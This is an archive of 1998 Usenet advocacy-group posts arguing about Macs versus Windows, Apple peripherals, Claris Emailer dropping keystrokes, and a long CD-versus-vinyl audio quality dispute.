Date: Fri, 14 Aug 1998 21:13:00 -0400
Organization: The University of Mississippi
Message-ID: <Pine.LNX.3.96.980814211023.22615B-100000@paule>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <joe.ragosta-1408981927480001@elk72.dol.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: Joe Ragosta <joe.ragosta@dol.net>
In-Reply-To: <joe.ragosta-1408981927480001@elk72.dol.net>
On Fri, 14 Aug 1998, Joe Ragosta wrote:
> In article <Pine.LNX.3.96.980814171602.22434B-100000@paule>, steve
> <steve@paule.ncpa.olemiss.edu> wrote:
>
> > So anothe double standard, in that "just good enough" when a windows
> > person says it is wrong, but when you say it, it is okay. I never want
> > just good enough, myself.
>
> There's a difference.
>
> Improving upon CD quality sound is a useless exercise because the human
> ear will never notice the difference. That's why CD quality sound is good
> enough.
>
> Windows, OTOH, is only good enough if you've never used an OS with a good UI.
>
> Regards,
>
> Joe Ragosta
> See the Complete Macintosh Advocacy Page
> http://www.dol.net/~Ragosta/complmac.htm
Joe, I agree>with yoiur bsic assessment in another post of approximately
20 to 20k as the range. However, you do not allow for equipment
degradation, NOR for optimal versus average frequency ratings. Most of
thse are rated at optimal, so you'd need something better than the normal
range. AFAIC, windows is NEVER just good enough, it is a hideous system.
I just don't like mac much either these days.
Steven Zanvil Sawolkin
228-G Freedom Dr.
Belleville, IL
U.S.A. 62226-5184
618-277-7380
lymond@peaknet.net
alternate: jgerdes@stlair.k12.il.us
From: Jacob Fuller <jacobf@mindspring.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 16 Aug 1998 02:48:32 GMT
Organization: MindSpring Enterprises
Message-ID: <6r5ha0$sic$1@camel25.mindspring.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
What exactly does the green marker do? And what kind or green marker would I
need to try this.
> In article <35d525ad.0@news.depaul.edu>, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
>
> > In comp.sys.next.advocacy George Graves <gmgraves@slip.net> wrote:
> >
> > > digitize it with primitive quantization techniques and using brick-wall
> > > multi-pole
> > > analog ant-aliasing filters, and you have CDs. GOD SAVE US!
> >
> > You need to use a green marker on the edge of the CD.
>
> It helped, believe it or not, in a number of cases. I don't know where my
> green
> marker is now, but when CDs were relatively new, it did wonders. I was part
> of several double-blind tests which proved conclusively that the green
> marker
> changed the sound -often for the better.
>
> George Graves
>
> >
--
-= Jacob Fuller =-
-= jacobf@mindspring.com =-
-= http://jf.simplenet.com =-
-= This message proudly posted using.. =-
-= BeInformed 0.9.4 fix III in BeOS R3.2 =-
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 02:48:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r5hae$v5l$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <6r3nfr$l4g$1@nnrp1.dejanews.com> <gmgraves-1508981139470001@sf-usr1-23-151.dialup.slip.net>
In article <gmgraves-1508981139470001@sf-usr1-23-151.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Then answer this. How come PNP ALWAYS works on the Mac, but only
> works sometimes on the PC (even if the machine has a PNP BIOS, and
> the peripherals are Win PNP)?
I'm not sure what you mean by this. Do you mean that peripherals always work
correctly when their software is installed? That would certainly be a false
claim.
> You don't get it still, do you? Compared with three years ago, Apple makes
> fewer and fewer peripherals. They are moving away from that business all
> the time. Compared to say, 1995, Apple makes almost NO peripherals, and
> everything that they do make can be bought better and cheaper from third
> parties (this once was also true of Macs themselves, but............).
What I "get" is irrelevant to your claim that "Apple makes almost no
peripheral hardware these days." Apple makes, AFAIK, keyboards and mice for
every desktop system they ship. They also make monitors and printers. That is
a lot of peripherals. If you had said that Apple doesn't make many kinds of
peripherals or that Apple makes fewer peripherals than they did a few years
ago then your claim would have been correct. But you didn't. I don't know why
you are arguing this. Just say that you misphrased your statement and we can
move on.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 15 Aug 1998 20:06:35 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1508982006350001@sf-usr1-46-174.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net> <6r3bol$7h7$1@nnrp1.dejanews.com> <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net> <6r5gq5$ugi$1@nnrp1.dejanews.com>
In article <6r5gq5$ugi$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > I don't know. Certainly the 8600 and 9600's didn't.
>
> Another false claim. I bought a 8600 and Apple didn't offer me the option of
> unbundling the keyboard.
>
> > I don't know about the
> > G3s.
>
> The Apple store says that they come with a keyboard and mouse.
Macs used to come without keyboards. What they have done lately, I
don't know. I purposely bought a Power Computing clone to avoid
buying an Apple Macintosh, because I thought that they were
underpowered and overpriced. A friend, working at Apple bought an
8600 on the employee discount plan and his (and early one to be sure)
did NOT come with a keyboard.
George Graves
From: "Paul Arthur" <parthur@op.nospamnet>
Newsgroups: comp.sys.next.advocacy
Subject: Re: A flame of the ma
Date: 14 Aug 98 22:45:08 -0500
Organization: OpNet -- Greater Philadelphia Internet Service
Message-ID: <B1FA6E7B-149BAB@209.152.194.76>
References: <joe.ragosta-1408982121060001@elk41.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Well, here is my contribution to this endless list. I'm downloading
Apple's 5MB iMac settup showdown video in Navigator while writing this in
Cyberdog. Seems to have no problems whatsoever here. PowerMac 7600/132
using a 33.6 Global Village modem, OT/PPP, no VM. Smooth as pie. Download
is continuing solidly. Typing is continuing without any problems. Maybe
we all need to switch to Cyberdog? Lawson? . . . Some help here?
Paul
---------------------------------------------------
This message was created and sent using the Cyberdog Mail System
---------------------------------------------------
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 15 Aug 1998 20:27:52 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net>
In article <kindall-1508981941230001@nic-c41-094.mw.mediaone.net>,
kindall@mail.manual.com (Jerry Kindall) wrote:
> In article <gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > While I heartily agree with your statements vis-a-vis A/D, D/A converters
> > and multimiking, I'm sorry, but I have to disagree STRONGLY with your
> > conclusion. CDs sound worse the better the playback system, while LPs sound
> > better as the equipment improves. This tells me that the CD has less
> > information
> > on it than meets the casual eye (or ear, in this case), while the LP has
> > more info
> > on it than is apparent on less than state-of-the-art equipment.
>
> Trust me, George, CDs sound a _lot_ better on my living room stereo
> through my Vandersteen 2ce speakers than they sound in here on my computer
> through a JVC boom box. There is no contest whatsoever.
Don't be ridiculous. OF course they sound better in you living room on
your vandersteens than they do on a pair of computer speakers. But
they also sound better on a $500 rack system than they do on a
$40,000 stereo. LPs, on the other hand, sound better on a $40,000
stereo system than they do ona $500 rack system. I should know, I have
a $40,000 stereo system.
>
> 16 bit, 44.1 KHz is adequate to reproduce an extremely wide dynamic range
> and and the entire range of human hearing (in fact, far beyond most
> adults' capabilities). Vinyl has a dynamic range of about 50 db, is
> extremely susceptible to noise, and is degraded by repeated playbacks.
> Also, it's very bulky and has a very limited playing time. No contest --
> the CD wins.
I already conceded that CDs have wider dynamic range than do records.
but jesus, they sound like cartoons compared to good analog. No depth,
no real imaging, poor ambience, steely, unnnatural top end. You can have
the garbage (but I have to put up with them too. Homo the Sap has decided
that CDs like PC/Windows is "good enough". Once again leaving those who
demand excellence out in the cold).
>
> Some CD recordings are, admittedly, poorly mastered and do not take
> advantage of all of the medium's capabilities. Recording and mastering
> techniques are steadily improving, though, as is D/A technology. 16 bits
> is certainly adequate as long as more than 16 bits are available when the
> CD is mastered and the right bits can be chosen.
Not enough low end information. Heck, "good" CDs have a small amount of noise
injected, at very low levels to dither the two least significant bits. With
out it, low level information on CDs just dries up and blows away.
>
> What people who love vinyl frequently forget is that, because of vinyl's
> physical limitations, a rather extreme EQ curve is applied when an LP
> master is created. (If care is not taken, the grooves can cross, which
> would cause a skip.) This EQ must be reversed during playback and is the
> primary reason your stereo has different inputs for "Turntable" and "Line"
> (aside from level differences). Since both must be done in the analog
> domain, phase shifts, distortion, and additional noise are inevitable.
> They can be minimized with good equipment, but the limits are still there,
> and they are clearly worse than CD.
Your telling someone this who numbers people like J. Gordon Holt among
his very best friends along with the late C.Robert Fine and John Eargle.
Someone who has been writing for audiophile magazines probably since you
were in diapers.
As far as vinyl being worse than CDs, you are all wet. The fact that as
equipment gets better and better we find more information in vinyl
records some of which are over 40 years old. The very best CD players,
on the other hand, rarely reveal anything in CDs but the ailising buzz
lost on cheaper equipment.
>
> One of the reason some early CDs (particularly those from Atlantic)
> sounded so bad is that they took masters EQ'd for LP and slapped 'em on
> CD. Since your CD player doesn't undo the EQ curve, they sounded awful.
Well I personally don't believe that anybody in the technical end of the
recording industry is so incompetent as to transfer a vinyl record to
CD at ALL, much less transfer it without using an RIAA phono section
to do the transfer. So, I'm calling your bluff. Prove it!
> This is one reason the remastered Led Zeppelin CDs, for instance, sound so
> much better than the original CD releases.
You listen to this shit? No wonder you can't discern any of CDs shortcomings.
Its not real wide dynamic range music. Its just studio rock and roll.
George Graves
From: gavan@magna.com.au (Gavan Schneider)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Sat, 15 Aug 1998 19:07:41 +1000
Organization: Organisation? I think that's on one of my "To do" lists
Message-ID: <1ddtfdw.48722y172wadcN@schneider.magna.com.au>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com> <6r1ese$nnf$1@supernews.com> <MPG.103e0a1e8fb509fe989791@news.itg.ti.com> <1ddrnln.1meew7b1hd3mb0N@host-209-214-29-217.bct.bellsouth.net>
$tk{fvxS|'NS{O'%\&(|drKuj>HsthBo.o;3I,B<InE9Om0U&
Mike Cohen <m_cohen@NOSPAMusa.net> wrote:
> Jason McNorton <jmcn@msg.ti.com> wrote:
>
> > I'm sure a G3 is fast enough to handle my
> > typing (I'm not THAT fast :), but still.. It's a bad sign for an OS to
> > be so sloppy like that.
>
> It's not the hardware or the OS - it's his application: Claris Emailer.
> I've run it on a machine with nothing else running and I've out-typed it
> easily. I'm sure if he tries Eudora the problem will go away. I've never
> seen it happen on a much slower machine running Netscape, MacSoup,
> Fetch, and Eudora Pro.
>
I also think this is a problem with Emailer on a busy machine.
Way way back in the good books from Apple (ie., Inside Macintosh
I,II,III ...) I remember reading about the event queue. Every time you
press a key an event record is created. This record contains the detail
about which key was pressed along with any modifier keys, it also gives
a time for this event. These records are linked in order in the event
queue. There is a limited number of event records and applications also
use event records for inter- and intra-process communication.
These event records are recycled when the application has processed them
via a GetNextEvent/WaitNextEvent call.
I expect the dropped characters happen when the queue cannot accept a
new keystroke without overwriting the oldest unused key event. I
personally think this happens when some background process has locked
out the machine for a while (eg., loading applications, decompressing,
appletalk file transfers...) and so preventing Emailer going through its
event loop in time.
It is a pity in more ways than one that there is probably noone to
listen anymore when it comes to Emailer problems. Maybe it just needs a
bigger allocation for its event queue.
--
Gavan Schneider | In a world without fences,
<gavan@magna.com.au> | who needs Gates?
From: gavan@magna.com.au (Gavan Schneider)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Sat, 15 Aug 1998 19:07:45 +1000
Organization: Organisation? I think that's on one of my "To do" lists
Message-ID: <1ddtgsb.18h5ti4t3kgpoN@schneider.magna.com.au>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <35d89f8a.4951056@news.newsguy.com> <wizard-1408980010590001@we-24-130-8-241.we.mediaone.net>
$tk{fvxS|'NS{O'%\&(|drKuj>HsthBo.o;3I,B<InE9Om0U&
Ron Bischof <wizard@technologist.com> wrote:
> > Tom Elam
>
> One look at this page http://members.iquest.net/~telam/macintos.htm clues
> anyone in as to what you're about and discredits you.
>
> Back in your hole, troll.
Amusing and just a little purile, but it does get better when you check
one of the sources of the "wisdom":
Marcs Mighty Mac Bashing Page!
<http://www.angelfire.com/ak/LORDMARC/main3.html>
which resolves via a bunch of broken and/or abusive links to a glorious
picture of an iMAc on a genuine Apple web page.
Now I did not check this from a wintel mchine (maybe the returned pages
would be different... but I doubt it ;-)
--
Gavan Schneider | Life is biology. Biology is
<gavan@magna.com.au> | really chemistry, chemistry is
| really physics, physics is really
| math, and math is really hard!
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 15 Aug 1998 20:33:10 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1508982033110001@sf-usr1-46-174.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com>
In article <6r5ha0$sic$1@camel25.mindspring.com>, Jacob Fuller
<jacobf@mindspring.com> wrote:
> What exactly does the green marker do? And what kind or green marker would I
> need to try this.
I don't remember the company who sold it but what one did was to edge the
CD inside and out with this green water-based ink felt pen. The company said
that the color was complementary to the lase color used in CDs, and it absorbed
spurious reflections in the styrene disk, reducing error rate. Some CDs
definitely sounded better for the treatment, some did not benefit at all, and
a few actually sounded worse.
George Graves
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sat, 15 Aug 1998 20:26:04 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6r4rnr$inu$1@plug.news.pipex.net>, "D.S.Lyon"
<ybf09@dial.pipex.com> wrote:
> |"The iMac for $1,299 toasts the fastest PC money can buy at any
> |price--the Pentium II 400," said Steve Jobs, Apple's interim CEO.
The mac is starting to REALLY take off, we are heading for awesome times,
and yet now we have to deal with a scummy lieing ceo who is telling lies
as bad as intel.
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 15 Aug 1998 20:51:34 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1508982051340001@sdn-ar-001casbarp059.dialsprint.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <6r3nfr$l4g$1@nnrp1.dejanews.com> <gmgraves-1508981139470001@sf-usr1-23-151.dialup.slip.net> <6r5hae$v5l$1@nnrp1.dejanews.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6r5hae$v5l$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> What I "get" is irrelevant to your claim that "Apple makes almost no
> peripheral hardware these days." Apple makes, AFAIK, keyboards and mice for
> every desktop system they ship. They also make monitors and printers. That is
> a lot of peripherals. If you had said that Apple doesn't make many kinds of
> peripherals or that Apple makes fewer peripherals than they did a few years
> ago then your claim would have been correct. But you didn't. I don't know why
> you are arguing this. Just say that you misphrased your statement and we can
> move on.
I am not sure if they make monitors and printers. I think sony makes
their monitors, then apple just adds some apple circuitary to it. Ditto
with the printer
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CDs vs. LPs
Followup-To: rec.audio.opinion
Date: Sun, 16 Aug 1998 03:37:11 -0400
Organization: Manual Labor
Message-ID: <kindall-1608980337110001@nic-c41-094.mw.mediaone.net>
References: <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net>
In article <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <kindall-1508981941230001@nic-c41-094.mw.mediaone.net>,
> kindall@mail.manual.com (Jerry Kindall) wrote:
>
> > Trust me, George, CDs sound a _lot_ better on my living room stereo
> > through my Vandersteen 2ce speakers than they sound in here on my computer
> > through a JVC boom box. There is no contest whatsoever.
>
> Don't be ridiculous. OF course they sound better in you living room on
> your vandersteens than they do on a pair of computer speakers. But
> they also sound better on a $500 rack system than they do on a
> $40,000 stereo. LPs, on the other hand, sound better on a $40,000
> stereo system than they do ona $500 rack system. I should know, I have
> a $40,000 stereo system.
I _have_ heard CDs on $40,000 (and higher) systems myself. CDs I was
familiar with. They sounded damn good. They certainly didn't sound
_worse_ than they did my living room system! (They didn't sound $35,000
better, of course, but then in my mind it's impossible for anything to
sound $35,000 better than what I have. The musicians already sound like
they're in my room; do I really need to be able to hear the wind whistling
past their nostril hairs too?)
> > 16 bit, 44.1 KHz is adequate to reproduce an extremely wide dynamic range
> > and and the entire range of human hearing (in fact, far beyond most
> > adults' capabilities). Vinyl has a dynamic range of about 50 db, is
> > extremely susceptible to noise, and is degraded by repeated playbacks.
> > Also, it's very bulky and has a very limited playing time. No contest --
> > the CD wins.
>
> I already conceded that CDs have wider dynamic range than do records.
> but jesus, they sound like cartoons compared to good analog. No depth,
> no real imaging, poor ambience, steely, unnnatural top end. You can have
> the garbage (but I have to put up with them too. Homo the Sap has decided
> that CDs like PC/Windows is "good enough". Once again leaving those who
> demand excellence out in the cold).
That's why they put the 96 KHz 24-bit mode into the DVD standard, right?
You're not out in the cold at all. I think that not even a vinyl fanatic
could argue that a word size that exceeds basic electrical limitations and
a sampling rate five times what most people can hear is inadequate.
I'm sure this will make a small but audible difference under the right
circumstances. Professionals who are testing 48 KHz 24-bit digital
recording systems can in fact tell the difference in blind tests.
(_Keyboard_ magazine recently did some of these, and their panel of
recording engineers could almost always tell that there _was_ a
difference, but they got the question of which was which wrong
surprisingly frequently. Still, the results on that question were
significantly better than chance.) But these are people who are _used_ to
listening for differences in sound. The rest of us just want to enjoy the
music. if you have to have a $40,000 stereo system, or a recording
studio, to hear the difference, it's no difference at all to 99.99999% of
the people who will listen to it.
> > Some CD recordings are, admittedly, poorly mastered and do not take
> > advantage of all of the medium's capabilities. Recording and mastering
> > techniques are steadily improving, though, as is D/A technology. 16 bits
> > is certainly adequate as long as more than 16 bits are available when the
> > CD is mastered and the right bits can be chosen.
>
> Not enough low end information. Heck, "good" CDs have a small amount of noise
> injected, at very low levels to dither the two least significant bits. With
> out it, low level information on CDs just dries up and blows away.
Whereas on LPs, you can never quite get rid of surface noise or turntable
rumble, and your records must be perfectly free of debris. (I would
certainly consider a pop or click to be a far more audible and intrusive
noise than any deficiencies of CDs!) Worse, any record that's played
regularly is going to have its grooves worn slightly by the stylus anyway,
because it's plastic and the stylus is diamond. Basic physics: you're
shaving your grooves down a few molecules at a time. To paraphrase
Douglas Adams, vinyl's fundamental design flaws are almost entirely hidden
by its superficial design flaws.
Heck, if your _air_conditioning_ is running, it's promably louder than the
details you're talking about, and almost certainly masks them. I would,
in fact, wager that with your stereo system set to a comfortable listening
level, you would be unable to _hear_ an amplitude-1 signal coming from a
CD.
> > What people who love vinyl frequently forget is that, because of vinyl's
> > physical limitations, a rather extreme EQ curve is applied when an LP
> > master is created. (If care is not taken, the grooves can cross, which
> > would cause a skip.) This EQ must be reversed during playback and is the
> > primary reason your stereo has different inputs for "Turntable" and "Line"
> > (aside from level differences). Since both must be done in the analog
> > domain, phase shifts, distortion, and additional noise are inevitable.
> > They can be minimized with good equipment, but the limits are still there,
> > and they are clearly worse than CD.
>
> Your telling someone this who numbers people like J. Gordon Holt among
> his very best friends along with the late C.Robert Fine and John Eargle.
> Someone who has been writing for audiophile magazines probably since you
> were in diapers.
If you've been writing on audiophile topics since I was in diapers, that'd
put you in your fifties -- or older. I'm 30 and I can't hear "CRT squeal"
anymore, so I know I have a certain amount of high-freq loss already. Men
can't typically hear well above 17,000 Hz (I believe that's the number,
though I was unable to confirm it; I know that women typically have much
better high-frequency hearing, though) and it just gets worse with age,
with the real decline starting in the fifties. You probably have
significant high-end loss already, and many of the important spatial and
ambient cues are in the higher frequencies. How much of what you think
you're hearing can you really hear?
> As far as vinyl being worse than CDs, you are all wet. The fact that as
> equipment gets better and better we find more information in vinyl
> records some of which are over 40 years old. The very best CD players,
> on the other hand, rarely reveal anything in CDs but the ailising buzz
> lost on cheaper equipment.
First, for there to be any aliasing at all, you have to be trying to
record signals with frequencies greater than half the sampling rate. For
a CD, his would mean frequencies greater than 21,050 Hz. Most microphones
used in audio production can't even capture these frequencies at a decent
level (mic diaphragms of necessity having mass, they are a physical
low-pass filter), and the level of such signals is further diminished by
the filters on A/D converters, which are designed to prevent signals
outside the range of human hearing from being recorded.
Since you're recording a real instrument and not a dog whistle, the
ultrasonic component -- the part which will end up being aliased -- is an
overtone and therefore very faint compared to the audible portion of the
sound. And because the audible sound occurs at the same time and at a
much louder volume than the aliased portion of the sound, it will tend to
(_tend_ to) mask the alias noise. Most people don't notice it and
probably wouldn't even on good equipment. (I'm not claiming you can't
hear it, if you know what to listen for and if your equipment is good
enough.)
Aliasing is _not_ inherent to the CD format, however. It's entirely an
encoding issue. With sufficient oversampling and adequately steep digital
filtering _before_ one quantizes at 44.1 KHz, one can essentially
eliminate it. I'm sure they're working on it, if they haven't licked it
already.
> > One of the reason some early CDs (particularly those from Atlantic)
> > sounded so bad is that they took masters EQ'd for LP and slapped 'em on
> > CD. Since your CD player doesn't undo the EQ curve, they sounded awful.
>
> Well I personally don't believe that anybody in the technical end of the
> recording industry is so incompetent as to transfer a vinyl record to
> CD at ALL, much less transfer it without using an RIAA phono section
> to do the transfer. So, I'm calling your bluff. Prove it!
::shrug:: It was widely reported in the music press, and my ears confirm
it. I'm really surprised that, since you're such an audiophile, you never
read about it. Compare any early Atlantic CD issue (Genesis, Zeppelin,
Yes... you don't have to like the music, just observe the recording
quality) to the remastered versions that started appearing, oh, in the
early to mid '90s. The older ones are muddy, obviously mis-EQ'd, heavily
compressed, levels way too low. (They were using maybe 14 of the possible
16 bits since if you go over 0 when recording to digital, you get nasty
distortion. These days you can just use more than 16 bits during
recording, then normalize to 16 during mastering.) Sounds like an LP
master to me.
As for how such a tragedy could occur... mistakes happen, especially with
new technology. I didn't say they transferred a vinyl record to CD, I
said they transferred phono masters -- i.e. _tapes_ which had been EQ'd
and compressed for LP pressing. Easy enough of a mistake to make.
Especially if you don't have the original tapes handy. And doubly likely
if you don't put your best people on it because upper management doesn't
want to invest a lot in this newfangled CD thing since it might flop. You
wager that even if CD does take off, a lot of people won't notice or care,
and figure the worst that happens is that you can sell the same albums to
some people twice! Oh, I can imagine a scenario.
> > This is one reason the remastered Led Zeppelin CDs, for instance, sound so
> > much better than the original CD releases.
>
> You listen to this shit? No wonder you can't discern any of CDs shortcomings.
> Its not real wide dynamic range music. Its just studio rock and roll.
Actually, a lot of Zeppelin was recorded with minimal numbers of mics and
lots of room ambience. (Which really comes out in the remasters.) I
don't think you could reasonably argue that, for example, "No Quarter"
lacks dynamic range... but in any case I wasn't holding up Zeppelin as an
example of the best CD is capable of, I was using them as an example of
the difference a decent mastering job can make when the first mastering
job was so bad. I don't even particularly like Zeppelin; I chose them
because the CD transfer on the early issues was so notoriously bad, and
because the recordings are popular enough that you can readily confirm
what I'm saying for yourself.
The CD format is adequate for reproducing musical material. The
complaints you have about "no depth, no real imaging, poor ambience, [and
a] steely, unnatural top end" _can_ be addressed, since these
characteristics are part of the sound, and the math tells us that the
digital format can store the sound within certain parameters that exceed
the ability of the human ear to detect in normal listening conditions.
It's a matter of, as I said, choosing the _right_ 16 bits, which means you
have to record using more than 16, and at a higher sample rate than 44.1
KHz, to avoid aliasing, excessive noise, etc.
Yes, if you crank up the volume such that a full-code digital signal
registers 96 db at your listening position, you'll notice quantization
